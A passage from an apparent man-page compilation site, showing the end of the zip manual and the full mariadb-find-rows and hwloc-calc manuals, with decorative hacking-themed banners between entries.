–no-extra Do not save extra file attributes (Extended Attributes on OS/2, uid/gid and file times on Unix). The zip format uses extra fields to include additional information for each entry. Some extra fields are specific to particular systems while others are applicable to all systems. Normally when zip reads entries from an existing archive, it reads the extra fields it knows, strips the rest, and adds the extra fields applicable to that system. With -X, zip strips all old fields and only includes the Unicode and Zip64 extra fields (currently these two extra fields cannot be disabled).

Negating this option, -X-, includes all the default extra fields, but also copies over any unrecognized extra fields.

-y

–symlinks For UNIX and VMS (V8.3 and later), store symbolic links as such in the zip archive, instead of compressing and storing the file referred to by the link. This can avoid multiple copies of files being included in the archive as zip recurses the directory trees and accesses files directly and by links.

-z

–archive-comment Prompt for a multi-line comment for the entire zip archive. The comment is ended by a line containing just a period, or an end of file condition (^D on Unix, ^Z on MSDOS, OS/2, and VMS). The comment can be taken from a file:

zip -z foo < foowhat

-Z cm

–compression-method cm Set the default compression method. Currently the main methods supported by zip are store and deflate. Compression method can be set to:

store - Setting the compression method to store forces zip to store entries with no compression. This is generally faster than compressing entries, but results in no space savings. This is the same as using -0 (compression level zero).

deflate - This is the default method for zip. If zip determines that storing is better than deflation, the entry will be stored instead.

bzip2 - If bzip2 support is compiled in, this compression method also becomes available. Only some modern unzips currently support the bzip2 compression method, so test the unzip you will be using before relying on archives using this method (compression method 12).

For example, to add bar.c to archive foo using bzip2 compression:

zip -Z bzip2 foo bar.c

The compression method can be abbreviated:

zip -Zb foo bar.c

-#

(-0, -1, -2, -3, -4, -5, -6, -7, -8, -9) Regulate the speed of compression using the specified digit #, where -0 indicates no compression (store all files), -1 indicates the fastest compression speed (less compression) and -9 indicates the slowest compression speed (optimal compression, ignores the suffix list). The default compression level is -6.

Though still being worked, the intention is this setting will control compression speed for all compression methods. Currently only deflation is controlled.

-!

–use-privileges [WIN32] Use privileges (if granted) to obtain all aspects of WinNT security.

-@

–names-stdin Take the list of input files from standard input. Only one filename per line.

-$

–volume-label [MSDOS, OS/2, WIN32] Include the volume label for the drive holding the first file to be compressed. If you want to include only the volume label or to force a specific drive, use the drive name as first file name, as in:

zip -$ foo a: c:bar

EXAMPLES

The simplest example:

zip stuff *

creates the archive stuff.zip (assuming it does not exist) and puts all the files in the current directory in it, in compressed form (the .zip suffix is added automatically, unless the archive name contains a dot already; this allows the explicit specification of other suffixes).

Because of the way the shell on Unix does filename substitution, files starting with “.” are not included; to include these as well:

zip stuff .* *

Even this will not include any subdirectories from the current directory.

To zip up an entire directory, the command:

zip -r foo foo

creates the archive foo.zip, containing all the files and directories in the directory foo that is contained within the current directory.

You may want to make a zip archive that contains the files in foo, without recording the directory name, foo. You can use the -j option to leave off the paths, as in:

zip -j foo foo/*

If you are short on disk space, you might not have enough room to hold both the original directory and the corresponding compressed zip archive. In this case, you can create the archive in steps using the -m option. If foo contains the subdirectories tom, dick, and harry, you can:

zip -rm foo foo/tom
zip -rm foo foo/dick
zip -rm foo foo/harry

where the first command creates foo.zip, and the next two add to it. At the completion of each zip command, the last created archive is deleted, making room for the next zip command to function.

Use -s to set the split size and create a split archive. The size is given as a number followed optionally by one of k (kB), m (MB), g (GB), or t (TB). The command

zip -s 2g -r split.zip foo

creates a split archive of the directory foo with splits no bigger than 2 GB each. If foo contained 5 GB of contents and the contents were stored in the split archive without compression (to make this example simple), this would create three splits, split.z01 at 2 GB, split.z02 at 2 GB, and split.zip at a little over 1 GB.

The -sp option can be used to pause zip between splits to allow changing removable media, for example, but read the descriptions and warnings for both -s and -sp below.

Though zip does not update split archives, zip provides the new option -O (–output-file) to allow split archives to be updated and saved in a new archive. For example,

zip inarchive.zip foo.c bar.c --out outarchive.zip

reads archive inarchive.zip, even if split, adds the files foo.c and bar.c, and writes the resulting archive to outarchive.zip. If inarchive.zip is split then outarchive.zip defaults to the same split size. Be aware that outarchive.zip and any split files that are created with it are always overwritten without warning. This may be changed in the future.

PATTERN MATCHING

This section applies only to Unix. Watch this space for details on MSDOS and VMS operation. However, the special wildcard characters * and [] below apply to at least MSDOS also.

The Unix shells (sh, csh, bash, and others) normally do filename substitution (also called “globbing”) on command arguments. Generally the special characters are:

?
match any single character

*
match any number of characters (including none)

[]
match any character in the range indicated within the brackets (example: [a-f], [0-9]). This form of wildcard matching allows a user to specify a list of characters between square brackets and if any of the characters match the expression matches. For example:

zip archive "*.[hc]"

would archive all files in the current directory that end in .h or .c.

Ranges of characters are supported:

zip archive "[a-f]*"

would add to the archive all files starting with “a” through “f”.

Negation is also supported, where any character in that position not in the list matches. Negation is supported by adding ! or ^ to the beginning of the list:

zip archive "*.[!o]"

matches files that don’t end in “.o”.

On WIN32, [] matching needs to be turned on with the -RE option to avoid the confusion that names with [ or ] have caused.

When these characters are encountered (without being escaped with a backslash or quotes), the shell will look for files relative to the current path that match the pattern, and replace the argument with a list of the names that matched.

The zip program can do the same matching on names that are in the zip archive being modified or, in the case of the -x (exclude) or -i (include) options, on the list of files to be operated on, by using backslashes or quotes to tell the shell not to do the name expansion. In general, when zip encounters a name in the list of files to do, it first looks for the name in the file system. If it finds it, it then adds it to the list of files to do. If it does not find it, it looks for the name in the zip archive being modified (if it exists), using the pattern matching characters described above, if present. For each match, it will add that name to the list of files to be processed, unless this name matches one given with the -x option, or does not match any name given with the -i option.

The pattern matching includes the path, and so patterns like .o match names that end in “.o”, no matter what the path prefix is. Note that the backslash must precede every special character (i.e. ?*[]), or the entire argument must be enclosed in double quotes ("").

In general, use backslashes or double quotes for paths that have wildcards to make zip do the pattern matching for file paths, and always for paths and strings that have spaces or wildcards for -i, -x, -R, -d, and -U and anywhere zip needs to process the wildcards.

ENVIRONMENT

The following environment variables are read and used by zip as described.

ZIPOPT
contains default options that will be used when running zip. The contents of this environment variable will get added to the command line just after the zip command.

ZIP
[Not on RISC OS and VMS] see ZIPOPT

Zip$Options
[RISC OS] see ZIPOPT

Zip$Exts
[RISC OS] contains extensions separated by a : that will cause native filenames with one of the specified extensions to be added to the zip file with basename and extension swapped.

ZIP_OPTS
[VMS] see ZIPOPT

SEE ALSO

compress(1), shar(1), tar(1), unzip(1), gzip(1)

DIAGNOSTICS

The exit status (or error level) approximates the exit codes defined by PKWARE and takes on the following values, except under VMS:

  1. normal; no errors or warnings detected.

  2. unexpected end of zip file.

  3. a generic error in the zipfile format was detected. Processing may have completed successfully anyway; some broken zipfiles created by other archivers have simple work-arounds.

  4. zip was unable to allocate memory for one or more buffers during program initialization.

  5. a severe error in the zipfile format was detected. Processing probably failed immediately.

  6. entry too large to be processed (such as input files larger than 2 GB when not using Zip64 or trying to read an existing archive that is too large) or entry too large to be split with zipsplit

  7. invalid comment format

  8. zip -T failed or out of memory

  9. the user aborted zip prematurely with control-C (or similar)

  10. zip encountered an error while using a temp file

  11. read or seek error

  12. zip has nothing to do

  13. missing or empty zip file

  14. error writing to a file

  15. zip was unable to create a file to write to

  16. bad command line parameters

  17. zip could not open a specified file to read

  18. zip was compiled with options not supported on this system

VMS interprets standard Unix (or PC) return values as other, scarier-looking things, so zip instead maps them into VMS-style status codes. In general, zip sets VMS Facility = 1955 (0x07A3), Code = 2* Unix_status, and an appropriate Severity (as specified in ziperr.h). More details are included in the VMS-specific documentation. See [.vms]NOTES.TXT and [.vms]vms_msg_gen.c.

BUGS

zip 3.0 is not compatible with PKUNZIP 1.10. Use zip 1.1 to produce zip files which can be extracted by PKUNZIP 1.10.

zip files produced by zip 3.0 must not be updated by zip 1.1 or PKZIP 1.10, if they contain encrypted members or if they have been produced in a pipe or on a non-seekable device. The old versions of zip or PKZIP would create an archive with an incorrect format. The old versions can list the contents of the zip file but cannot extract it anyway (because of the new compression algorithm). If you do not use encryption and use regular disk files, you do not have to care about this problem.

Under VMS, not all of the odd file formats are treated properly. Only stream-LF format zip files are expected to work with zip. Others can be converted using Rahul Dhesi’s BILF program. This version of zip handles some of the conversion internally. When using Kermit to transfer zip files from VMS to MSDOS, type “set file type block” on VMS. When transferring from MSDOS to VMS, type “set file type fixed” on VMS. In both cases, type “set file type binary” on MSDOS.

Under some older VMS versions, zip may hang for file specifications that use DECnet syntax foo::*.*.

On OS/2, zip cannot match some names, such as those including an exclamation mark or a hash sign. This is a bug in OS/2 itself: the 32-bit DosFindFirst/Next don’t find such names. Other programs such as GNU tar are also affected by this bug.

Under OS/2, the amount of Extended Attributes displayed by DIR is (for compatibility) the amount returned by the 16-bit version of DosQueryPathInfo(). Otherwise OS/2 1.3 and 2.0 would report different EA sizes when DIRing a file. However, the structure layout returned by the 32-bit DosQueryPathInfo() is a bit different, it uses extra padding bytes and link pointers (it’s a linked list) to have all fields on 4-byte boundaries for portability to future RISC OS/2 versions. Therefore the value reported by zip (which uses this 32-bit-mode size) differs from that reported by DIR. zip stores the 32-bit format for portability, even the 16-bit MS-C-compiled version running on OS/2 1.3, so even this one shows the 32-bit-mode size.

AUTHORS

Copyright (C) 1997-2008 Info-ZIP.

Currently distributed under the Info-ZIP license.

Copyright (C) 1990-1997 Mark Adler, Richard B. Wales, Jean-loup Gailly, Onno van der Linden, Kai Uwe Rommel, Igor Mandrichenko, John Bush and Paul Kienitz.

Original copyright:

Permission is granted to any individual or institution to use, copy, or redistribute this software so long as all of the original files are included, that it is not sold for profit, and that this copyright notice is retained.

LIKE ANYTHING ELSE THAT’S FREE, ZIP AND ITS ASSOCIATED UTILITIES ARE PROVIDED AS IS AND COME WITH NO WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED. IN NO EVENT WILL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY DAMAGES RESULTING FROM THE USE OF THIS SOFTWARE.

Please send bug reports and comments using the web page at: www.info-zip.org. For bug reports, please include the version of zip (see zip -h), the make options used to compile it (see zip -v), the machine and operating system in use, and as much additional information as possible.

ACKNOWLEDGEMENTS

Thanks to R. P. Byrne for his Shrink.Pas program, which inspired this project, and from which the shrink algorithm was stolen; to Phil Katz for placing in the public domain the zip file format, compression format, and .ZIP filename extension, and for accepting minor changes to the file format; to Steve Burg for clarifications on the deflate format; to Haruhiko Okumura and Leonid Broukhis for providing some useful ideas for the compression algorithm; to Keith Petersen, Rich Wales, Hunter Goatley and Mark Adler for providing a mailing list and ftp site for the Info-ZIP group to use; and most importantly, to the Info-ZIP group itself (listed in the file infozip.who) without whose tireless testing and bug-fixing efforts a portable zip would not have been possible. Finally we should thank (blame) the first Info-ZIP moderator, David Kirschbaum, for getting us into this mess in the first place. The manual page was rewritten for Unix by R. P. C. Rodgers and updated by E. Gordon for zip 3.0.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1534 - Linux cli command mariadb-find-rows

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-find-rows and provides detailed information about the command mariadb-find-rows, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-find-rows.

NAME 🖥️ mariadb-find-rows 🖥️

find-rows - extract SQL statements from files (mysql_find_rows is now a symlink to mariadb-find-rows)

SYNOPSIS

**mysql_find_rows [options] [**file_name …]

DESCRIPTION

mysql_find_rows reads files containing SQL statements and extracts statements that match a given regular expression or that contain USE db_name or SET statements. The utility was written for use with update log files (as used prior to MySQL 5.0) and as such expects statements to be terminated with semicolon (;) characters. It may be useful with other files that contain SQL statements as long as statements are terminated with semicolons.

Invoke mysql_find_rows like this:

shell> mysql_find_rows [options] [file_name …]

Each file_name argument should be the name of file containing SQL statements. If no file names are given, mysql_find_rows reads the standard input.

Examples:

mysql_find_rows –regexp=problem_table –rows=20 < update.log mysql_find_rows –regexp=problem_table update-log.1 update-log.2

mysql_find_rows supports the following options:

·

–help, –Information

Display a help message and exit.

·

**–regexp=**pattern

Display queries that match the pattern.

·

**–rows=**N

Quit after displaying N queries.

·

–skip-use-db

Do not include USE db_name statements in the output.

·

**–start_row=**N

Start output from this row.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1535 - Linux cli command hwloc-calc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hwloc-calc and provides detailed information about the command hwloc-calc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hwloc-calc.

NAME 🖥️ hwloc-calc 🖥️

calc - Operate on cpu mask strings and objects

SYNOPSIS

hwloc-calc [topology options] [options] <location1> [<location2> […] ]

Note that hwloc(7) provides a detailed explanation of the hwloc system and of valid <location> formats; it should be read before reading this man page.

TOPOLOGY OPTIONS

All topology options must be given before all other options.

–no-smt, –no-smt=<N>
Only keep the first PU per core in the input locations. If <N> is specified, keep the <N>-th instead, if any. PUs are ordered by physical index during this filtering.

Note that this option is applied after searching locations. Hence –no-smt pu:2-5 will first select the PUs #2 to #5 in the machine before keeping one of them per core. To rather get PUs #2 to #5 after filtering one per core, you should combine invocations:

hwloc-calc –restrict $(hwloc-calc –no-smt all) pu:2-5

–cpukind <n>, –cpukind <infoname>=<infovalue>
Only keep PUs whose CPU kind match. Either a single CPU kind is specified as an index, or the info attribute name-value will select matching kinds.

When specified by index, it corresponds to hwloc ranking of CPU kinds which returns energy-efficient cores first, and high-performance power-hungry cores last. The full list of CPU kinds may be seen with lstopo –cpukinds.

Note that this option is applied after searching locations. Hence –cpukind 0 core:1 will return the second core of the machine if it is of kind 0, and nothing otherwise. To rather get the second core among those of kind 0, you should combine invocations:

hwloc-calc –restrict $(hwloc-calc –cpukind 0 all) core:1

–restrict <cpuset>
Restrict the topology to the given cpuset. This removes some PUs and their now-child-less parents.

This is useful when combining invocations to filter some objects before selecting among them.

Beware that restricting the PUs in a topology may change the logical indexes of many objects, including NUMA nodes.

–restrict nodeset=<nodeset>
Restrict the topology to the given nodeset (unless –restrict-flags specifies something different). This removes some NUMA nodes and their now-child-less parents.

Beware that restricting the NUMA nodes in a topology may change the logical indexes of many objects, including PUs.

–restrict-flags <flags>
Enforce flags when restricting the topology. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_topology_restrict(). Those names may be substrings of actual flag names as long as a single one matches, for instance bynodeset,memless. The default is 0 (or none).

–disallowed
Include objects disallowed by administrative limitations.

-i <path>, –input <path>
Read the topology from <path> instead of discovering the topology of the local machine.

If <path> is a file, it may be a XML file exported by a previous hwloc program. If <path> is “-”, the standard input may be used as a XML file.

On Linux, <path> may be a directory containing the topology files gathered from another machine topology with hwloc-gather-topology.

On x86, <path> may be a directory containing a cpuid dump gathered with hwloc-gather-cpuid.

When the archivemount program is available, <path> may also be a tarball containing such Linux or x86 topology files.

-i <specification>, –input <specification>
Simulate a fake hierarchy (instead of discovering the topology on the local machine). If <specification> is “node:2 pu:3”, the topology will contain two NUMA nodes with 3 processing units in each of them. The <specification> string must end with a number of PUs.

–if <format>, –input-format <format>
Enforce the input in the given format, among xml, fsroot, cpuid and synthetic.

OPTIONS

All these options must be given after all topology options above.

-p –physical
Use OS/physical indexes instead of logical indexes for both input and output.

-l –logical
Use logical indexes instead of physical/OS indexes for both input and output (default).

–pi –physical-input
Use OS/physical indexes instead of logical indexes for input.

–li –logical-input
Use logical indexes instead of physical/OS indexes for input (default).

–po –physical-output
Use OS/physical indexes instead of logical indexes for output.

–lo –logical-output
Use logical indexes instead of physical/OS indexes for output (default, except for cpusets which are always physical).

-n –nodeset
Interpret both input and output sets as nodesets instead of CPU sets. See –nodeset-output and –nodeset-input below for details.

–no –nodeset-output
Report nodesets instead of CPU sets. This output is more precise than the default CPU set output when memory locality matters because it properly describes CPU-less NUMA nodes, as well as NUMA-nodes that are local to multiple CPUs.

–ni –nodeset-input
Interpret input sets as nodesets instead of CPU sets.

–oo –object-output
When reporting object indexes (e.g. with -I or –local-memory), this option prefixes these indexes with types (e.g. Core:0 instead of 0).

-N –number-of <type|depth>
Report the number of objects of the given type or depth that intersect the CPU set. This is convenient for finding how many cores, NUMA nodes or PUs are available in a machine.

When combined with –nodeset or –nodeset-output, the nodeset is considered instead of the CPU set for finding matching objects. This is useful when reporting the output as a number or set of NUMA nodes.

<type may contain a filter to select specific objects among the type. For instance -N “numa[hbm]” counts NUMA nodes marked with subtype “HBM”, while -N “numa[mcdram]” only counts MCDRAM NUMA nodes on KNL.

If an OS device subtype such as gpu is given instead of osdev, only the os devices of that subtype will be counted.

-I –intersect <type|depth>
Find the list of objects of the given type or depth that intersect the CPU set and report the comma-separated list of their indexes instead of the cpu mask string. This may be used for determining the list of objects above or below the input objects.

When combined with –physical, the list is convenient to pass to external tools such as taskset or numactl –physcpubind or –membind. This is different from –largest since the latter requires that all reported objects are strictly included inside the input objects.

When combined with –nodeset or –nodeset-output, the nodeset is considered instead of the CPU set for finding matching objects. This is useful when reporting the output as a number or set of NUMA nodes.

<type may contain a filter to select specific objects among the type. For instance -N “numa[hbm]” lists NUMA nodes marked with subtype “HBM”, while -N “numa[mcdram]” only lists MCDRAM NUMA nodes on KNL.

If an OS device subtype such as gpu is given instead of osdev, only the os devices of that subtype will be returned.

If combined with –object-output, object indexes are prefixed with types (e.g. Core:0 instead of 0).

-H –hierarchical <type1>.<type2>…
Find the list of objects of type <type2> that intersect the CPU set and report the space-separated list of their hierarchical indexes with respect to <type1>, <type2>, etc. For instance, if package.core is given, the output would be Package:1.Core:2 Package:2.Core:3 if the input contains the third core of the second package and the fourth core of the third package.

Only normal CPU-side object types should be used.

NUMA nodes may be used but they may cause redundancy in the output on heterogeneous memory platform. For instance, on a platform with both DRAM and HBM memory on a package, the first core will be considered both as first core of first NUMA node (DRAM) and as first core of second NUMA node (HBM).

–largest
Report (in a human readable format) the list of largest objects which exactly include all input objects (by looking at their CPU sets). None of these output objects intersect each other, and the sum of them is exactly equivalent to the input. No larger object is included in the input.

This is different from –intersect where reported objects may not be strictly included in the input.

–local-memory
Report the list of NUMA nodes that are local to the input objects.

This option is similar to -I numa but the way nodes are selected is different: The selection performed by –local-memory may be precisely configured with –local-memory-flags, while -I numa just selects all nodes that are somehow local to any of the input objects.

If combined with –object-output, object indexes are prefixed with types (e.g. NUMANode:0 instead of 0).

–local-memory-flags
Change the flags used to select local NUMA nodes. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_get_local_numanode_objs(). Those names may be substrings of actual flag names as long as a single one matches. The default is 3 (or smaller,larger) which means NUMA nodes are displayed if their locality either contains or is contained in the locality of the given object.

This option enables –local-memory.

–best-memattr <name>
Enable the listing of local memory nodes with –local-memory, but only display the local nodes that have the best value for the memory attribute given by <name> (or as an index).

If the memory attribute values depend on the initiator, the hwloc-calc input objects are used as the initiator.

Standard attribute names are Capacity, Locality, Bandwidth, and Latency. All existing attributes in the current topology may be listed with

$ lstopo –memattrs

If combined with –object-output, the object index is prefixed with its type (e.g. NUMANode:0 instead of 0).

<name> may be suffixed with flags to tune the selection of best nodes, for instance as bandwidth,strict,default. default means that all local nodes are reported if no best could be found. strict means that nodes are selected only if their performance is the best for all the input CPUs. On a dual-socket machine with HBM in each socket, both HBMs are the best for their local socket, but not for the remote socket. Hence both HBM are also considered best for the entire machine by default, but none if strict.

–sep <sep>
Change the field separator in the output. By default, a space is used to separate output objects (for instance when –hierarchical or –largest is given) while a comma is used to separate indexes (for instance when –intersect is given).

–single
Singlify the output to a single CPU.

–cpuset-output-format <hwloc|list|taskset> –cof <hwloc|list|taskset>
Change the format of displayed CPU set strings. By default, the hwloc-specific format is used. If list is given, the output is a comma-separated of numbers or ranges, e.g. 2,4-5,8 . If taskset is given, the output is compatible with the taskset program (replaces the former –taskset option).

This option has no impact on the format of input CPU set strings, see –cpuset-input-format.

–cpuset-input-format <hwloc|list|taskset> –cif <hwloc|list|taskset>
Change the format of input CPU set strings. By default, the tool tries to guess the type automatically between hwloc, list or taskset formats. This option forces the parsing format to avoid ambiguity for instance when “1,3,5” may be parsed as a hwloc cpuset “0x1,0x00000003,0x00000005” or as list “1-1,3-3,5-5”.

This option has no impact on the format of output CPU set strings, see –cpuset-output-format.

-q –quiet
Hide non-fatal error messages. It mostly includes locations pointing to non-existing objects.

-v –verbose
Verbose output.

–version
Report version and exit.

-h –help
Display help message and exit.

DESCRIPTION

hwloc-calc generates and manipulates CPU mask strings or objects. Both input and output may be either objects (with physical or logical indexes), CPU lists (with physical or logical indexes), or CPU mask strings (always physically indexed). Input location specification is described in hwloc(7).

If objects or CPU mask strings are given on the command-line, they are combined and a single output is printed. If no object or CPU mask strings are given on the command-line, the program will read the standard input. It will combine multiple objects or CPU mask strings that are given on the same line of the standard input line with spaces as separators. Different input lines will be processed separately.

Command-line arguments and options are processed in order. First topology configuration options should be given. Then, for instance, changing the type of input indexes with –li or changing the input topology with -i only affects the processing the following arguments.

NOTE: It is highly recommended that you read the hwloc(7) overview page before reading this man page. Most of the concepts described in hwloc(7) directly apply to the hwloc-calc utility.

EXAMPLES

hwloc-calc’s operation is best described through several examples.

To display the (physical) CPU mask corresponding to the second package:

$ hwloc-calc package:1 0x000000f0

To display the (physical) CPU mask corresponding to the third pacakge, excluding its even numbered logical processors:

$ hwloc-calc package:2 ~PU:even 0x00000c00

To convert a cpu mask to human-readable output, the -H option can be used to emit a space-delimited list of locations:

$ echo 0x000000f0 | hwloc-calc -q -H package.core Package:1.Core1 Package:1.Core:1 Package:1.Core:2 Package:1.Core:3

To use some other character (e.g., a comma) instead of spaces in output, use the –sep option:

$ echo 0x000000f0 | hwloc-calc -q -H package.core –sep , Package:1.Core1,Package:1.Core:1,Package:1.Core:2,Package:1.Core:3

To combine two (physical) CPU masks:

$ hwloc-calc 0x0000ffff 0xff000000 0xff00ffff

To display the list of logical numbers of processors included in the second package:

$ hwloc-calc –intersect PU package:1 4,5,6,7

To bind GNU OpenMP threads logically over the whole machine, we need to use physical number output instead:

$ export GOMP_CPU_AFFINITY=`hwloc-calc –physical-output –intersect PU all` $ echo $GOMP_CPU_AFFINITY 0,4,1,5,2,6,3,7

To display the list of NUMA nodes, by physical indexes, that intersect a given (physical) CPU mask:

$ hwloc-calc –physical –intersect NUMAnode 0xf0f0f0f0 0,2

To find how many cores are in the second CPU kind (those cores are likely higher-performance and more power-hungry than cores of the first kind):

$ hwloc-calc –cpukind 1 -N core all 4

To display the list of NUMA nodes, by physical indexes, whose locality is exactly equal to a Package:

$ hwloc-calc –local-memory-flags 0 –physical-output pack:1 4,7

To display the best-capacity NUMA node(s), by physical indexes, whose locality is exactly equal to a Package:

$ hwloc-calc –local-memory-flags 0 –best-memattr capacity –physical-output pack:1 4

To find the number of NUMA nodes with subtype “HBM”:

$ hwloc-calc -N “numa[hbm]” all 4

To find the number of NUMA nodes in memory tier 1 (DRAM nodes on a server with HBM and DRAM):

$ hwloc-calc -N “numa[tier=1]” all 4

To find the NUMA node of subtype MCDRAM (on KNL) near a PU:

$ hwloc-calc -I “numa[mcdram]” pu:157 1

Converting object logical indexes (default) from/to physical/OS indexes may be performed with –intersect combined with either –physical-output (logical to physical conversion) or –physical-input (physical to logical):

$ hwloc-calc –physical-output PU:2 –intersect PU 3 $ hwloc-calc –physical-input PU:3 –intersect PU 2

One should add –nodeset when converting indexes of memory objects to make sure a single NUMA node index is returned on platforms with heterogeneous memory:

$ hwloc-calc –nodeset –physical-output node:2 –intersect node 3 $ hwloc-calc –nodeset –physical-input node:3 –intersect node 2

To display the set of CPUs near network interface eth0:

$ hwloc-calc os=eth0 0x00005555

To display the indexes of packages near PCI device whose bus ID is 0000:01:02.0:

$ hwloc-calc pci=0000:01:02.0 –intersect Package 1

To display the list of per-package cores that intersect the input:

$ hwloc-calc 0x00003c00 –hierarchical package.core Package:2.Core:1 Package:3.Core:0

To display the (physical) CPU mask of the entire topology except the third package:

$ hwloc-calc all ~package:3 0x0000f0ff

To combine both physical and logical indexes as input:

$ hwloc-calc PU:2 –physical-input PU:3 0x0000000c

To synthetize a set of cores into largest objects on a 2-node 2-package 2-core machine:

$ hwloc-calc core:0 –largest Core:0 $ hwloc-calc core:0-1 –largest Package:0 $ hwloc-calc core:4-7 –largest NUMANode:1 $ hwloc-calc core:2-6 –largest Package:1 Package:2 Core:6 $ hwloc-calc pack:2 –largest Package:2 $ hwloc-calc package:2-3 –largest NUMANode:1

To get the set of first threads of all cores:

$ hwloc-calc core:all.pu:0 $ hwloc-calc –no-smt all

This can also be very useful in order to make GNU OpenMP use exactly one thread per core, and in logical core order:

$ export OMP_NUM_THREADS=`hwloc-calc –number-of core all` $ echo $OMP_NUM_THREADS 4 $ export GOMP_CPU_AFFINITY=`hwloc-calc –physical-output –intersect PU –no-smt all` $ echo $GOMP_CPU_AFFINITY 0,2,1,3

To export bitmask in a format that is acceptable by the resctrl Linux subsystem (for configuring cache partitioning, etc), apply a sed regexp to the output of hwloc-calc:

$ hwloc-calc pack:all.core:7-9.pu:0 0x00000380,,0x00000380 <this format cannot be given to resctrl> $ hwloc-calc pack:all.core:7-9.pu:0 | sed -e ’s/0x//g’ -e ’s/,,/,0,/g’ -e ’s/,,/,0,/g’ 00000380,0,00000380 # echo 00000380,0,00000380 > /sys/fs/resctrl/test/cpus # cat /sys/fs/resctrl/test/cpus 00000000,00000380,00000000,00000380 <the modified bitmask was corrected parsed by resctrl>

OS devices may also be filtered by subtype. In this example, there are 8 OS devices in the system, 4 of them are near NUMA node #1, and only 2 of these are CoProcessors:

$ utils/hwloc/hwloc-calc -I osdev all 0,1,2,3,4,5,6,7,8 $ utils/hwloc/hwloc-calc -I osdev node:1 5,6,7,8 $ utils/hwloc/hwloc-calc -I coproc node:1 7,8

RETURN VALUE

Upon successful execution, hwloc-calc displays the (physical) CPU mask string, (physical or logical) object list, or (physical or logical) object number list. The return value is 0.

hwloc-calc will return nonzero if any kind of error occurs, such as (but not limited to): failure to parse the command line.

SEE ALSO

hwloc(7), lstopo(1), hwloc-info(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1536 - Linux cli command prepmx

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command prepmx and provides detailed information about the command prepmx, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the prepmx.

